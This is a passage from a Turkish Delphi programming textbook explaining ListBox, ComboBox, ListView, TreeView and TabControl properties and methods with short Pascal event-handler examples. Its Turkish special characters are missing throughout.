procedure TForm2.Button1Click(Sender: TObject); var deger:AnsiString; i,satir:Integer; begin deger:=Edit1.Text; satir:=ListBox1.Items.Count;//eleman says for i:=0 to satir-1 do begin if deger=ListBox1.Items[i] then//varsa begin ShowMessage('Kayt Zaten Var'); exit;//bitir end; end; ListBox1.Items.Append(deger);//yoksa ekle end; ListBox1.Items.Strings Parametre ile belirtilen satrdaki ierii renmek veya deitirmek iin kullanlan methoddur. procedure TForm2.Button2Click(Sender: TObject); begin Form2.Caption:=3. Satrdaki erik +ListBox1.Items.Strings[2]; end; veya procedure TForm2.Button2Click(Sender: TObject); begin ListBox1.Items.Strings[2]:='Rize';//3. satr Rize yap end; ListBox1.Items.Exchange Parametre ile belirtilen iki satrn yerlerini deitirmek iin kullanlan methoddur. Burada parametre olarak girilen deerler satr numaralardr. lk satrn numarasnn 0 olduunu tekrar hatrlatalm.

447

procedure TForm2.Button2Click(Sender: TObject); begin ListBox1.Items.Exchange(1,3);//2. satir ile 4. satrn yerini deitir. end; ayet ieriini bildiiniz iki satr yer deitirmek isterseniz, o zaman aadaki ekilde bir algoritma gelitirmelisiniz.

procedure TForm2.Button2Click(Sender: TObject); var ilk,ikinci,satir:Integer; begin ilk:=ListBox1.Items.IndexOf(Edit1.Text);//ilk satr bul ikinci:=ListBox1.Items.IndexOf(Edit2.Text);//ikinci satr bul ListBox1.Items.Exchange(ilk,ikinci);//deitir end; ListBox1.Items.Move Birinci parametre ile belirtilen satr, ikinci parametre ile belirten satra tar. procedure TForm2.Button2Click(Sender: TObject); begin ListBox1.Items.Move(0,2);//birinci satr 3. satra ta end;

448

ListBox1.Items.LoadFromFile Parametre ile belirtilen adresteki dosyann ieriini listeye kopyalayan methoddur. Dosyalama ilemlerinde bu konuya deinilmitir. procedure TForm2.Button2Click(Sender: TObject); begin ListBox1.Items.LoadFromFile('c:\gazi\egitim.txt');//ykle end; ListBox1.Items.SaveToFile ListBox n ieriini parametre ile belirtilen adrese kopyalayan methoddur. Yine bu hususa dosyalama ilemleri blmnde deinilmitir. procedure TForm2.Button2Click(Sender: TObject); begin ListBox1.Items.SaveToFile('c:\gazi\egitim.txt');//Kopyala end; ListBox1.Items.SaveToStream Bu methodla listBox ierisindeki satrlar Tstream tipli bir deikene aktarabilirsiniz. Dolaysyla Tstream deikeninin referans gsterdii dosya listedeki satrlar ierisine alm olacaktr. Aadaki rnekte liste ierisindeki satrlar Stream tipli bir deiken kullanarak egitim.txt isimli dosyaya yazdrlmaktadr. procedure TForm2.Button2Click(Sender: TObject); var dosya:TFileStream; begin dosya:=TFileStream.Create('c:\gazi\egitim.txt',fmCreate);//dosyay yarat ListBox1.Items.SaveToStream(dosya);//stream a yaz end; ListBox1.MultiSelect Varsaylan olarak ListBox ierisinden tek bir satr mous ile seilebilir. Dier satr setiiniz zaman nceki satr seili olma zelliini yitirecektir. MultiSelect zelliini true yaparsanz Ctrl ve Shift tularn kullanarak 449

liste ierisinden oklu seim yapabilirsiniz (Shiftle seilen satrlar aras bloklanr, Ctrl ile de her tklanan satr seilir). ListBox1.Items.LoadFromStream Parametre ile belirtilen Stream tipli deikenin referans gsterdii dosyann ieriini listeye aktarmak iin kullanlan bir methoddur. Aada bu husus rneklendirilmitir. procedure TForm2.Button3Click(Sender: TObject); var dosya:TFileStream; begin dosya:=TFileStream.Create('c:\gazi\egitim.txt',fmOpenRead); ListBox1.Items.LoadFromStream(dosya);//ierii al end; Program altrdktan sonra aka alnan (egitim.txt) dosyann ierii listBox ierisinde grntlenecektir. ListBox1.ItemIndex Kontrol ierisindeki seili elemann satr numarasn veren veya dier bir satr semek iin kullanlan zelliktir. procedure TForm2.Button4Click(Sender: TObject); begin ListBox1.ItemIndex:=1;//ikinci satr se end; ItemIndex zelliine ait aadaki gibi bir kodlamada kullanlabilir. procedure TForm2.Button3Click(Sender: TObject); var dosya:TFileStream; begin dosya:=TFileStream.Create('c:\gazi\egitim.txt',fmOpenRead); ListBox1.Items.LoadFromStream(dosya); ListBox1.ItemIndex:=0;//ilk eleman se end; 450

Aadaki uygulamada zerine mous ile ift tklanan satr kullancdan onay alnarak silinmek istenmektedir. procedure TForm2.ListBox1DblClick(Sender: TObject); var satir,tikla:Integer; begin tikla:=Application.MessageBox('Silmek stediinizden Eminmisiniz','Sil', MB_YESNO); if tikla=MrYes then begin satir:=ListBox1.ItemIndex;//seili elemann satr numaras ListBox1.items.Delete(satir);//Sil ShowMessage('Satr Silindi'); end else ShowMessage('Silme lemi ptal Edildi'); end; ListBox1.Selected Parametre ile belirtilen satrn seili olup olmadn belirten zelliidir. Geriye true deerinin dnmesi o satrn seili olduunu anlamn tamaktadr.

procedure TForm2.Button4Click(Sender: TObject); var satir,adet,eleman:Integer; begin 451

adet:=ListBox1.Items.Count;//ka satr var eleman:=0; satir:=0; Repeat if ListBox1.Selected[satir] then //seili ise inc(eleman); inc(satir); Until satir>adet-1; Form2.Caption:='Listede Seili '+IntToStr(eleman)+' Eleman Var'; end; ListBox1.Sorted Listedeki satrlarn kkten bye doru sralanmasn salayan zelliidir. True deerinin aktarlmas sralama ileminin yaptrld anlamn tamaktadr.

procedure TForm2.Button5Click(Sender: TObject); //Srala begin ListBox1.Sorted:=true;//Srala end; Aadaki uygulamada Liste ierisindeki elemanlar nce alfabetik sraya gre sralanmakta, ardndan ilk elemanlarla son elemanlarn yerleri deitirilmektedir. Dikkatlice inceleyip tm kod satrlarn anlamaya alnz. Programa ait tm kod blou aada verilmitir.

452

procedure TForm2.Button5Click(Sender: TObject); //Tersten Srala var adet,i,numara:Integer; begin ListBox1.Sorted:=true;//sralat adet:=ListBox1.Items.Count; i:=0; numara:=adet-1; Repeat ListBox1.Items.Exchange(i,numara); //Yerlerini deitir inc(i); Dec(numara); Until i>(adet-1)/2; end; ListBox1. TabOrder Tab tuuyla geis srasn belirleyen zelliidir. Tab gei numaras tam say tipli bir deer ile ifade edilir. procedure TForm2.Button5Click(Sender: TObject); begin ListBox1. TabOrder:=2; //nc srada end;

453

ListBox1.TabStop Kontrole tab tuuyla eriilip eriilemeyeceini belirleyen zelliidir. True deerinin aktarlmas Tab tuuyla bu kontrole eriilebilecei anlamn tamaktadr. procedure TForm2.Button5Click(Sender: TObject); begin ListBox1.TabStop:=false;//tab tuuyla urama end; ListBox1.Items Listedeki tm elemanlar ierisinde tutan zelliidir. Bildiimiz dizi deiken gibi kullanlabilir. procedure TForm2.ListBox1Click(Sender: TObject); begin Form2.Caption:=ListBox1.Items[ListBox1.ItemIndex];//seili eleman yaz end; ListBox1.Top Kontroln st kesinin formun st kesine olan mesafesidir. ListBox1.Left Kontroln sol kesinin formun sol kesine olan mesafesidir. procedure TForm2.FormCreate(Sender: TObject); begin ListBox1.Top:=0; ListBox1.Left:=0;//sol st keye yasla end; ListBox1.Style Listede yer alan satrlardaki karakter boyutlaryla ilgili seenekleri tutan zelliidir. Alabilecei seenekler aada verilmitir.

454

Style lbOwnerDrawFixed lbOwnerDrawVariable lbStandard lbVirtual lbVirtualOwnerDraw

ListBox1.IntegralHeight Listenin en alt satrndaki ieriin grntrn ayarlayan zelliidir. Satrn tam olarak gzkp gzkmeyeceini belirler.

Sol taraftaki rnekte IntegralHeight zellii false sa taraftakindeyse true yaplmtr. En alt satra dikkat ediniz. procedure TForm2.Button6Click(Sender: TObject); begin ListBox1.IntegralHeight:=false; ListBox1.Items.Add(Edit1.Text); end; ListBox1.Columns Liste ierisinde satrlarn tek veya daha fazla stundan olumasn salayan zelliidir. Girilen deer aktif gzken ksmdaki stun saysdr (listedeki stun says deil). Yani 2 deerini aktarrsanz beyaz alandaki stun says 2 olacaktr. Aada bu husus rneklendirilmitir.

455

Aadaki rneklerden sol taraftaki formda Colums zelliine 1 deeri aktarlm olup sa taraftakindeyse 2 deeri girilmitir.

procedure TForm2.Button6Click(Sender: TObject); begin ListBox1.Columns:=2; end; ListBox1.SelCount Liste ierisindeki seili eleman saysn veren zelliidir. procedure TForm2.Button6Click(Sender: TObject); var adet:Integer; begin ListBox1.IntegralHeight:=false; adet:=ListBox1.SelCount;//ka eleman seili Form2.Caption:=IntToStr(adet); end; ListBox1.BorderStyle Kontroln boyutlu grntsn ayarlayan zelliidir. Alabilecei deerler aada verilmitir.
BorderStyle bsNone bsSingle Dz Boyutlu Sonu

456

Properties penceresinden ayarlanabilecei gibi aadaki ekilde Unit penceresinden kodla da kolayca deitirebilirsiniz. procedure TForm2.Button6Click(Sender: TObject); begin ListBox1.BorderStyle:=bsNone;//Dz yap end; ListBox1.BevelKind boyutlu grnm iin seenek sunan dier bir zellik. Aada alabilecei deerler verilmitir. Sonularn deneyerek grebilirsiniz.
BevelKind bsNone bkFlat bkSoft bkTile Dz Boyutlu Boyutlu Boyutlu Sonu

ListBox1.BevelInner boyutlu grntnn kenarlarla ilikisini ayarlayan zelliidir.


BevelInner bsNone bvLowered bvRaised bvSpace Yok Tm Kenarlar Sa ve alt kenarlara Hafif Sonu

457

ListBox1.TopIndex Seili elemann ilk satrdan deilde gzken satrlar ierisinde kanc srada olduunu dndren zelliidir. Bilhassa birden fazla listeBox ile alrken kullanlan bir zelliktir. ListBox1.ItemAtPos ListBox zerinde cursorun bulunduu koordinatlarn karlk geldii satr numarasn dndren ok nemli bir methoddur. Aadaki uygulamada (Win Amp benzeri bir program) liste ierisindeki elemanlar sol tua basp seerek kolayca yer deitirebilirsiniz (srkleme yapmalsnz).

var deger:AnsiString;//Global deiken procedure TForm3.FormCreate(Sender: TObject); begin ListBox1.Items.Add('Sibel Can (Padiah)'); ListBox1.Items.Add('Hlya Avar (Sevdim)'); ListBox1.Items.Add('Ebru Gnde (Sensizim)'); ListBox1.Items.Add('zel (Bebek)'); ListBox1.items.Add('Bar Mano (Dnence)'); ListBox1.Items.Add('Kra (Kan ve Gl)'); end;

458

procedure TForm3.ListBox1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var nokta:TPoint; numara:Integer; begin if Button=mbLeft Then //sol tua basarsa begin nokta.X:=X;//cursor koordinatlar nokta.Y:=Y; numara:=ListBox1.ItemAtPos(nokta,false);//hangi satr deger:=ListBox1.Items[numara]; end; end; procedure TForm3.ListBox1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var nokta:TPoint; numara:Integer; begin nokta.X:=x; nokta.Y:=y; numara:=ListBox1.ItemAtPos(nokta,false);//hangi satr ListBox1.Items.Delete(ListBox1.Items.IndexOf(deger));//bul ve sil ListBox1.Items.Insert(numara,deger);//Araya ekle end; imdi program altrp mous ile bir satr seiniz. Ardndan tuu brakmadan srkleyip baka bir satrn zerine braknz. leminizin baaryla gerekletiini greceksiniz.

459

ComboBox Kontrol: ListBox kontrolnn bir ok zelliini aynen kullanabilen bir kontroldr. Grntsel olarak listBox kontrolnn kapal olan eklinde de dnlebilir. Aada zellikleri izah edilmektedir. ComboBox1.Text Seili satrn ieriini deitirmek veya renmek iin kullanlan zelliidir.

procedure TForm4.FormCreate(Sender: TObject); begin ComboBox1.Text:='Prestige Education Center'; end; ComboBox1.Items.Add Kontrole yeni bir satr eklemek iin kullanlan methoddur.

Ykardaki grnty salaya kod blou aada verilmitir. 460

procedure TForm4.FormCreate(Sender: TObject); begin ComboBox1.Items.Add('ANKARA'); ComboBox1.Items.Add('ISTANBUL'); ComboBox1.Items.Add('IZMIR'); ComboBox1.Items.Add('SAMSUN'); ComboBox1.Items.Add('BURSA'); ComboBox1.Items.Add('RIZE'); end; Ayn grnty properties penceresindeki Items zelliini kullanarak aadaki ekilde de yapabilirsiniz (ama siz hep kodla yapn).

Items zelliinin sanda bulunan ufak buttona tklarsanz yukardaki pencere alacaktr. Bu pencereden gerekli verileri girebilirsiniz. ComboBox1.ItemIndex Combo kutusu ierisinde gsterilecek olan satrn numarasn atayabileceiniz zelliidir. procedure TForm4.ComboBox1Click(Sender: TObject); begin ComboBox1.ItemIndex:=2;//3. eleman gster end;

461

Aadaki rnek kodlamaya dikkat ederseniz zelliin ne ie yarad ok daha iyi anlalacaktr. procedure TForm4.FormCreate(Sender: TObject); begin ComboBox1.Items.Add('ANKARA'); ComboBox1.Items.Add('ISTANBUL'); ComboBox1.Items.Add('IZMIR'); ComboBox1.Items.Add('SAMSUN'); ComboBox1.Items.Add('BURSA'); ComboBox1.Items.Add('RIZE'); ComboBox1.ItemIndex:=2;//IZMIR i gsterir end; Combobox1.DropDownCount ComboBox a ait liste aaya doru ald zaman ka satr gstereceini bu zellikle belirleyebilirsiniz.

Grld gibi ald anda 4 satr gzkmektedir. Dier satrlara ulaabilmek iin kaydrma ubuunu kullanmalsnz. procedure TForm4.FormCreate(Sender: TObject); begin ComboBox1.Items.Add('ANKARA'); ComboBox1.Items.Add('ISTANBUL'); ComboBox1.Items.Add('IZMIR'); ComboBox1.Items.Add('SAMSUN'); ComboBox1.Items.Add('BURSA'); ComboBox1.Items.Add('RIZE'); ComboBox1.ItemIndex:=2;//IZMIR i gsterir Combobox1.DropDownCount:=4// 4 satr gster end; 462

ComboBox1.Style ComboBox a ait alan pencere zelliklerini ayarlayabileceiniz zelliidir. Alabilecei deerler aada verilmitir.

BevelInner csDropDown csSimple csDropDownList csOwnerDrawFixed csOwnerDrawVariable Bilgi girii yaplabilir Almayan ComboBox Bilgi girii Yaplamaz

Sonu

Karakter ykseklikleri farkl olabilir Grafik ierikli ComboBox

ComboBox1.ItemHeight Kontroln satr yksekliini belirleyen zelliidir.

Grld gibi satr ykseklii istenildii deere getirilebilir. Deiiklii salayan kod blou aada verilmitir. procedure TForm4.Button1Click(Sender: TObject); begin ComboBox1.Style:=csOwnerDrawFixed; ComboBox1.ItemHeight:=40;//satr yksekliini 40 yap end;

463

ComboBox1.BevelKind Kontroln boyutlu grnts ile ilgili ksmlar belirleyen zelliidir. procedure TForm4.Button1Click(Sender: TObject); begin ComboBox1.BevelKind:= bkFlat; end;
BevelKind bsNone bkFlat bkSoft bkTile Dz Boyutlu Boyutlu Boyutlu Sonu

ComboBox1.Constraints Kontrole ait ebatlarn (ykseklik, genilik) minimum,maximum deerlerini belirleyebileceiniz zelliidir.
Constraints MaxWidth MinHeight MaxHeight MinWidth Max genilik Minimum ykseklik Max Ykseklik Minimum Genilik Sonu

procedure TForm4.Button1Click(Sender: TObject); begin ComboBox1.Constraints.MinWidth :=10; end;

464

ImageList Kontrol: alma annda gzkmeyen fakat dier kontrollerin kullanaca resimleri depolayan bir kontroldr. Fazla bir zellii bulunmad iin ierisine resimleri nasl depolayabileceinizi gstermek yeterli olacaktr. Formunuzun zerine bir adet ImageList kontrol yerletirerek mous ile zerine ift tklayn. Aadaki pencere alacaktr. Bu pencereden gerekli resimleri ykleyebilirsiniz.

Bu pencerede Add buttonuna tklayarak projede kullanacanz tm resimleri ekleyebilirsiniz.

Replace ile resmi deitirebilir, Delete ile silebilir, Export ile resim Export edebilir ve Clear ile de pencereyi temizleyebilirsiniz. 465

ListView Kontrol: MyComputer iconuna ift Click yaptnz zaman alan pencere bu kontrol ile gerekletirilmitir dersek sanyorum gerekli olan aklamay yapm oluruz.

veya

Yukardaki iki pencerede ListView kontrol kullanlarak kolayca oluturulabilir. Aada iki pencerede oluturulmaya allacaktr. Admlar dikkatlice takip ediniz. Projenize iki adet ImageList kontrol yerletirip gerekli resimleri ykleyiniz. Birinci ImageList ierisindeki resimler byk iconlar, ikinci ImageList ierisindeki resimlerde kk iconlar gstermek iin kullanlacaktr. 466

kinci admda formunuza bir adet ListView kontrol yerletirip Align zelliini alClient yapn. nc admda ListView kontrolnn LargeImages zelliine ImageList1, SmallImages zelliinede ImageList2 deerini aktarn. Drdnc admda Items zelliine tklayarak aadaki pencerenin almasn salayn. Bu pencerede resimlerle eit sayda etiket oluturacaz.

Bu pencerede New Item buttonuna tklayarak gerekli etiketleri ekleyiniz. Ayn pencerede Image Index deerlerinide 0-4 arasnda girmeyi unutmayn. Bu ekilde ImageList kontrolnden etiketin hangi resimle temsil edileceini belirlemi olursunuz. OK e basp ardndan programnz altrnz. Ekran grntnz aadaki ekilde gerekleecektir.

Properties penceresinden ViewStyle zelliini (kodla da yapabilirsiniz daha gzel olur) deitirerek dier grntlerinede ulaabilirsiniz.

467

Yukardaki pencerede ViewStyle zelliine vsSmallIcon deeri aktarlmtr. ayet rapor ieren bir ListView grnts istenirse o zaman aadaki admlar izlemelisiniz. ncelikle gsterilen tasarm oluturun.

ListView kontrolnn Align zelliine alBottom deerini giriniz. kinci admda ListView kontroln seip properties penceresinden Columns zelliine tklayn. Aadaki pencere alacaktr. Bu pencerenin beyaz alannda mousun sa tuuna tklayp mennn almasn salayn. Alan menden 5 kere Add seeneini seerek Caption deerlerine ekrandaki gibi stun balklarn giriniz.

nc admda ListView kontrolnn ViewStyle zelliine vsReport deerini aktarn. Ekran grntnz artk aadaki ekilde olacaktr. 468

Drdnc admda formunuza bir adet button kontrol ekleyip aadaki kodu OnClick yordamna yaznz.

procedure TForm2.Button1Click(Sender: TObject); begin ListView1.Items.Add;//satr ekle ListView1.Items[0].Caption:=ComboBox1.Text; ListView1.Items[0].SubItems.Add(Edit1.Text); ListView1.Items[0].SubItems.Add(Edit2.Text); ListView1.Items[0].SubItems.Add(Edit3.Text); ListView1.Items[0].SubItems.Add(Edit4.Text); end; imdi rneklerde kullandmz zellikleri bir hatrlayalm. ListView1.SmallImages ListView kontrolnn ViewStyle zelliine vsSmallIcon verilmesi durumunda kullanaca resimleri belirleyen zelliidir. ListView1.SmallImages:=ImageList1; ListView1.LargeImages ListView kontrolnn ViewStyle zelliine vsIcon verilmesi durumunda kullanaca resimleri belirleyen zelliidir.

469

ListView1.SmallImages:=ImageList2; ListView1.Items.Add ListView ierisine satr eklemek iin kullanlan methoddur. ListView1.Items[0].Caption Eklenen ana stunun etiketini belirleyen zelliidir. ListView1.Items[0].Caption:=ComboBox1.Text; ListView1.Columns.Add Kontrole yeni bir stun eklemek iin kullanlan zelliidir. Properties den eklediimiz stunlar kodla bu eklide kolayca gerekletirebiliriz. ListView1.ViewStyle ListView ierisindeki verilerin nasl gsterileceini bu belirleyebilirsiniz. Kullanabilecei seenekler aada verilmitir.
ViewStyle vsList vsIcon vsReport vsSmallIcon Liste li halde Etiket+Resim Rapor eklinde Ufak resim+Etiket Sonu

zellikle

Listview1.Items.Clear ListView kontrolnn ieriini temizlemek iin kullanlan methoddur. ListView1.Items[0].SubItems.Add Ana stuna ait yan stunlar oluturmak ve ieriini belirlemek iin kullanlan methoddur. Listview1.Checkboxes Eklenen satrlarn balarnda Check iaretinin olup olmamasn belirleyen zelliidir. True deerinin aktarlmas iaretli olaca anlamn tamaktadr.

470

procedure TForm2.Button1Click(Sender: TObject); begin ListView1.Items.Add; ListView1.Items[0].Caption:=ComboBox1.Text; ListView1.Items[0].SubItems.Add(Edit1.Text); ListView1.Items[0].SubItems.Add(Edit2.Text); ListView1.Items[0].SubItems.Add(Edit3.Text); ListView1.Items[0].SubItems.Add(Edit4.Text); Listview1.Checkboxes:=true;//check gster end; Listview1.ColumnClick Eklenen stun balklarnn button gibi kullanlp kullanlmayacan belirleyen zelliidir. procedure TForm2.Button1Click(Sender: TObject); begin Listview1.ColumnClick:=true; end; ListView1.GridLines ListView kontrol ierisinde grid izgilerinin gsterilip gsterilmeyeceini belirleyen zelliidir. True deerinin aktarlmas grid izgilerini gster anlam tamaktadr. 471

TreeView Kontrol: Aa yaps ilemleri iin kullanlan kontroldr. Windows ierisinde bir ok yerde rastladmz bu kontrole ait zellikler aada teker teker aklanmaya allmtr. Treeview1.Items.Add Yapya ana dm noktas eklemek iin kullanlan methoddur. Birden fazla ana dm eklemek mmkndr. procedure TForm1.FormCreate(Sender: TObject); begin Treeview1.Items.Add(Nil,'niversitelerimiz'); Treeview1.Items.Add(Nil,'Yksek Okullarmz'); end; Treeview1.Items.AddChild Aa yapsna alt eleman eklemek iin kullanlan methoddur.

procedure TForm1.FormCreate(Sender: TObject); //Aa yaps var eleman:TTreeNode; begin eleman:=Treeview1.Items.Add(Nil,'niversitelerimiz'); eleman:=Treeview1.Items.AddChild(eleman,'Gazi niversitesi');
eleman:=TreeView1.Items.AddChild(eleman,'Mhendislik Mimarlk Fakltesi');

end; AddChild metdodu ile eklenen her satr, bir nceki satrn eleman olacaktr. 472

Buraya kadar grdklerimizle aadaki aa yapsn oluturmaya alalm. Aadaki tasarm oluturunuz.

procedure TForm1.FormCreate(Sender: TObject); var eleman:Array[0..9] of TTreeNode; begin eleman[0]:=Treeview1.Items.Add(Nil,'niversitelerimiz'); eleman[1]:=Treeview1.Items.AddChild(eleman[0],'Gazi niversitesi'); eleman[2]:=TreeView1.Items.AddChild(eleman[1],'Mh.Mim.Fakltesi'); eleman[3]:=TreeView1.Items.AddChild(eleman[1],'letiim Fakltesi');
eleman[4]:=TreeView1.Items.AddChild(eleman[0],'Orta Dou Teknik niversitesi');

eleman[5]:=TreeView1.Items.AddChild(eleman[4],'Mh.Mim. Fakltesi'); eleman[6]:=TreeView1.Items.AddChild(eleman[0],'Hacettepe niversitesi'); eleman[7]:=TreeView1.Items.AddChild(eleman[6],'Tp Fakltesi'); eleman[8]:=TreeView1.Items.AddChild(eleman[6],'letiim Fakltesi'); eleman[9]:=TreeView1.Items.AddChild(eleman[6],'Fen Edebiyat Fakltesi'); end; TreeView1.Items.AddChild(eleman[], ) methodundaki eleman[] altna eklenecei satr belirlemektedir. ayet sral olarak girilmeyecekse bu ekilde dizi kullanmak size ok byk kolaylk salayacaktr. Hatrlatalm satr saylar belli olmad iin dinamik dizi kullanmanz daha salkl olacaktr. Her eklenen ve silinen satrda diziyi yeniden boyutlandrmalsnz. TreeView1.Items.Insert Seili elemann yerine yeni bir satr yaratmak iin kullanlan methoddur. Ekleme ilemi istenilen dm iin yaplabilir. Aadaki rnekte Edit kutusuna girilen niversite veya Faklte aa yapsna kolayca eklenebilmektedir. imdi

473

aadaki tasarm oluturup Edit kutusuna girilen niversite veya Faklte ismini seilen satra ekleyelim.

procedure TForm1.Button1Click(Sender: TObject); begin TreeView1.Items.Insert(TreeView1.Selected,Edit1.Text); end; TreeView1.Items.AddFirst Dmn en st satrna veri eklemek iin kullanlan methoddur. procedure TForm1.Button1Click(Sender: TObject); begin TreeView1.Items.AddFirst(TreeView1.Selected,Edit1.Text);//en ste ekle end;

Program altrp Ekle buttonuna tklarsanz semi olduunuz satrn en stune (o dme ait en ste) Edit kutusundaki metin satr tekil edecek ekilde yerleecektir. 474

TreeView1.Selected Aa yapsnda seili elemana ait tm seenekler bu zellikte tutulur. TreeView1.Selected.Text Seili satrn ieriini tutan zelliidir. Aadaki ekilde bir kodlamayla semi olduunuz satr balkta yazdrabilirsiniz. procedure TForm1.TreeView1Click(Sender: TObject); begin Form1.Caption:=TreeView1.Selected.Text;//seili satr yazdr. end; TreeView1.Selected.AbsoluteIndex Seili elemann kanc satr olduunu veren zelliidir.

procedure TForm1.TreeView1Click(Sender: TObject); begin Form1.Caption:=IntToStr(TreeView1.Selected.AbsoluteIndex);//satr yaz end; TreeView1.Selected.Level Ait olduu dm numarasn tutan zelliidir. rneimizde niversitelerimiz tklanrsa 0, Herhangi bir niversite ismi tklanrsa 1 veye herhangi bir faklte tklanrsa 2 (tm faklteler iin ayn) deerini gsterecektir.

475

procedure TForm1.TreeView1Click(Sender: TObject); begin Form1.Caption:=IntToStr(TreeView1.Selected.Level);//dm yaz end; TreeView1.FullCollapse Ak olan tm dm noktalarn kapatmak iin kullanlan methoddur. TreeView1.FullExpand Tm dm noktalarn amak iin kullanlan methoddur.

procedure TForm1.Button1Click(Sender: TObject); //Dmleri A begin TreeView1.FullCollapse;//Tm dmleri a end; procedure TForm1.Button2Click(Sender: TObject); //Dmleri Kapat begin TreeView1.FullExpand;//Tm dmleri kapat end; TreeView1.Items.Count Aa yapsndaki tm satrlarn toplam saysn veren zelliidir. Satrn ana veya yavru olmas fark etmez. Tmnn toplam saysn hesaplayacaktr.

476

procedure TForm1.Button2Click(Sender: TObject); begin Form1.Caption:=IntToStr(TreeView1.Items.Count);//ka satr var end; TreeView1.ShowButtons Ana rootta bulunan elemanlarn bandaki + ieretinin gsterilip gsterilmemesini belirleyen zelliidir. False deerinin aktarlmas bu iaretin gsterilmeyecei anlamn tamaktadr.

procedure TForm1.Button2Click(Sender: TObject); begin TreeView1.ShowButtons:=false; end; TreeView1.ShowLines Satrlar aras balant izgilerinin gsterilip gsterilmeyeceini belirleyen zelliidir.

477

procedure TForm1.Button2Click(Sender: TObject); begin TreeView1.ShowLines:=false;//izgileri gsterme end; TreeView1.ReadOnly Varsaylan deer olarak bu zellik false dr. Kullanc herhangi bir satra tklayp elemann deerini deitirebilir. ayet bu deere true aktarrsanz kullancnn bu tr bir deiiklik yapmasn engellersiniz. procedure TForm1.Button2Click(Sender: TObject); begin TreeView1.ReadOnly:=true;//deiikliklere izin verme end; TreeView1.Items.Delete Belirtilen satr silmek iin kullanlan methoddur. Aadaki rnekte aa yapsndan seilen eleman buttona tklanarak silinmektedir. procedure TForm1.Button2Click(Sender: TObject); begin TreeView1.Items.Delete(TreeView1.Selected);//seili satr sil end; TreeView1.TopItem.Text En st elemana ait ierii veren zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin Form2.Caption:=TreeView1.TopItem.Text; end; TreeView1.Items[] Bu method ile tm satrlara kolayca erimeniz mmkn. TreeView kontrol ierisindeki tm satrlara dizi mantyla eriebilirsiniz. Aadaki rnekte nc satrdaki elemann ierii yazdrlmaktadr. Ayn mantkla dier ilemleride siz yaptrn. 478

procedure TForm2.FormCreate(Sender: TObject); begin Form2.Caption:=TreeView1.Items[2].Text;//3. satr ieriini yaz end; imdi daha nce kodla yaptmz ilemi properties penceresini kullanarak yapmaya alacam. Aadaki admlar dikkatlice takip ediniz. 1. 2. 3. 4. Projenize bir adet TreeView ve bir adet ImageList kontrol yerletirin. ImageList kontrol ierisine gerekli resimleri depolayn. TreeView kontrolnn Images zelliine ImageList1 deerini girin. TreeView kontrolnn Items zelliine tklayn. Alan pencereden aadaki ayarlamalar yapn.

Bu pencerede New Item ve Sub Item buttonlarn kullanarak yukardaki ekli oluturun. Ayrca resim yerletirmek istrerseniz ImageIndex deerlerinide ImageList kontrolndeki sralamaya dikkat ederek giriniz. Programnz altrdktan sonra ekran grntnz aadaki ekilde oluacaktr.

Grld gibi properties penceresinden de kolayca aa yaps oluturulabilmektedir. Hatrlatalm siz kodla yapmay her zaman tercih ediniz. 479

TreeView1.SaveToFile Kontrol ierisindeki veriyi dosyaya kaydetmek iin kullanlan methoddur. procedure TForm2.Button1Click(Sender: TObject); //Kaydet begin TreeView1.SaveToFile('c:\gazi\agac.txt'); end; TreeView1.SaveToStream Kontrol ierisindeki veriyi Stream tipli deikene aktarmak iin kullanlan methoddur. Bu ileme ListBox kontrolnde detayl olarak deinilmitir. ncelemek iin o blme bakmalsnz. TreeView2.LoadFromFile Dosyadaki ierii kontrole aktarmak iin kullanlan methoddur (resimsiz olarak). procedure TForm2.Button2Click(Sender: TObject); begin TreeView2.LoadFromFile('c:\gazi\agac.txt'); end; Bu blmde formunuza iki adet TreeView kontrol ile iki adet Button kontrol yerletirip aadaki tasarm oluturunuz.

480

Eklemi olduunuz Button kontrollerinin OnClick yordamlarna aadaki kod bloklarn ekleyiniz. procedure TForm2.Button1Click(Sender: TObject); begin TreeView1.SaveToFile('c:\gazi\agac.txt');//kaydet end; procedure TForm2.Button2Click(Sender: TObject); begin TreeView2.LoadFromFile('c:\gazi\agac.txt');//a end; Program altrdktan sonra ilk olarak Kaydet buttonuna tklayp ierii dosya olarak kaydedin. Ardndan A buttonuna tklayarak dosyadaki ieriin ikinci TreeView kontrolne yklenmesini salayn.

481

TabControl Kontrol: Farkl yapraklarda deiik ilemler yapmanza olanak tanyan bir kontroldr. Delphide gerektii zaman bu kontrolden faydalanmaktadr. Aadaki pencere grnts Delphi projesi ierisinde File->New->Other seeneklerinden sonra alnmtr.

Bu kontrol de farkl sayfalardaki kontroller birbirlerine kolayca veri gnderebilmektedir. Yani birinci yaprakta bulunan Edit kontrolnn ieriini, ikinci sayfadaki bir kontrol de yazdrmak iin extra yapmanz gereken hi bir ilem yoktur. Aada ki admlar izleyerek kullanmna ait incelikleri reniniz. 1. Formunuza bir adet TabControl yerletirin ve Align zelliine alClient deerini aktarn. Bu ekilde kontrolnzn boyutlarn formunuzun boyutlarna eit hale getirmi olacaksnz. Ayn zamanda formunuzun boyutlarn deitirdiiniz zaman TabControl nzn boyutlarda deiecektir. 2. kinci admda properties penceresinde yer alan Tabs zelliine tklayn aadaki pencere alacaktr. Bu pencereye kontrolnzde yer almasn istediiniz yapraklarn balk isimlerini girmelisiniz. Gireceiniz balk ismi kadar yaprak otomatik olarak oluturulacaktr. Oluan bu yapraklardan dilediinizi mous ile zerine tklayp aktif hale getirebilirsiniz. 482

3. Yukardaki satrlar girdikten sonra formunuza ait grnt aadaki ekilde gerekleecektir.

Yukardaki ilemi kodla yapmak isterseniz aadaki ekilde bir kodlama kullanmanz gerekecektir. procedure TForm1.FormCreate(Sender: TObject); //Olutur begin TabControl1.Tabs.Add('ifre'); TabControl1.Tabs.Add('Genel Bilgiler'); TabControl1.Tabs.Add('Kiisel Bilgiler'); end; imdi program altrrsanz ayn ekran grntsne ularsnz.

483

